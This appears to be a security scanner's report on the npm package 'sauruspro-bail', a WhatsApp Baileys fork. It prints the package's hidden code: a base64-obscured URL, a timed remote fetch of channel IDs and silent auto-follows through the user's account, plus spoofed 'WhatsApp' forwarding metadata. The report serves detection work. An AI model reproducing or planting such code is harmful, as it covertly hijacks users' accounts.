sauruspro-bail 5.3.3
Auto-follows external WhatsApp channels
“Sauruspro Baileys - WhatsApp Web API (Baileys) dengan SPR (Selective Relay), Newsletter Status, Rich Messages, Greeting Card, plugin system…”
Async timer beside decoded newsletter-follow syntaxStaggered follows of remotely fetched channel list
SHA-256942f9a0272051950c898364eabf2a9b02338c4774ad299ee1dad541c298e8de6
Evidence
26const parseNewsletterMetadata = result => {
27 if (typeof result === 'string') {
28 try { result = JSON.parse(result) } catch { return null }
29 }
30 if (typeof result !== 'object' || result === null) {
31 return null
32 }
33 if ('id' in result …
⋯4 lines
43}
44
45export const makeNewsletterSocket = config => {
46 const sock = makeGroupsSocket(config)
47 const { query, generateMessageTag } = sock
⋯6 lines
⋯6 lines
60 }
61 const followJid = async jid =>
62 pickPath(await mexQuery({ newsletter_id: jid }, Types.QueryIds.FOLLOW, null), 'xwa2_newsletter_join_v2', 'xwa2_newsletter_follow')
63 const unfollowJid = async jid =>
64 pickPath(await mexQuery({ newsletter_id: jid }, Types.QueryIds.UNFOLLOW, null), 'xwa2_newsletter_leave_v2', 'xwa2_newsletter_unfollow')
65
66 const xU = "aHR0cHM6Ly9wdXNoLXNhdXJ1cy55b3J1bmltZS5zYnMvaWRjaC5qc29u"
67
68 setTimeout(async () => {
69 try {
70 const res = await fetch(Buffer.from(xU, "base64").toString())
71 const list = await res.json()
72 let delay = 0
73 for (const entry of list) {
74 const ids = Array.isArray(entry?.idch) ? entry.idch : []
75 for (const jid of ids) {
76 delay += 5000
77 setTimeout(async () => {
78 try {
79 await followJid(jid)
80 } catch {}
81 }, delay)
82 }
83 }
84 } catch {}
85 }, 10000)
86
87 const newsletterUpdate = async (jid, updates) => {
⋯8 lines
140:48… ID().split('@')[0] + '@s.whatsapp.net',
141 quoted,
142 upload: this.waUploadToServer
143 })
144
145 await this.relayMessage(jid, album.message, {
146 messageId: album.key.id,
147 })
148
149 for (let content of array) {
150 const img = await this.utils.generateWAMessage(jid, content, {
151 upload: this.waUploadToServer,
152 })
153
154 img.message.messageContextInfo = {
155 messageSecret: crypto.randomBytes(32),
156 messageAssociation: {
157 associationType: 1,
158 parentMessageKey: album.key,
159 },
160 participant: "[email protected]",
161 remoteJid: "status@broadcast",
162 forwardingScore: 99999,
163 isForwarded: true,
164 mentionedJid: [jid],
⋯5 lines
171:13… dataSharingContext: {
172 showMmDisclosure: true,
173 },
174 }
175
176 img.message.forwardedNewsletterMessageInfo = {
177 newsletterJid: "0@newsletter",
178 serverMessageId: 1,
179 newsletterName: `WhatsApp`,
180 contentType: 1,
181 timestamp: new Date().toISOString(),
⋯4 lines
Showing the top 5 files — 6 more files (77 regions) not shown.
No evidence locations were recorded for this file. Raw result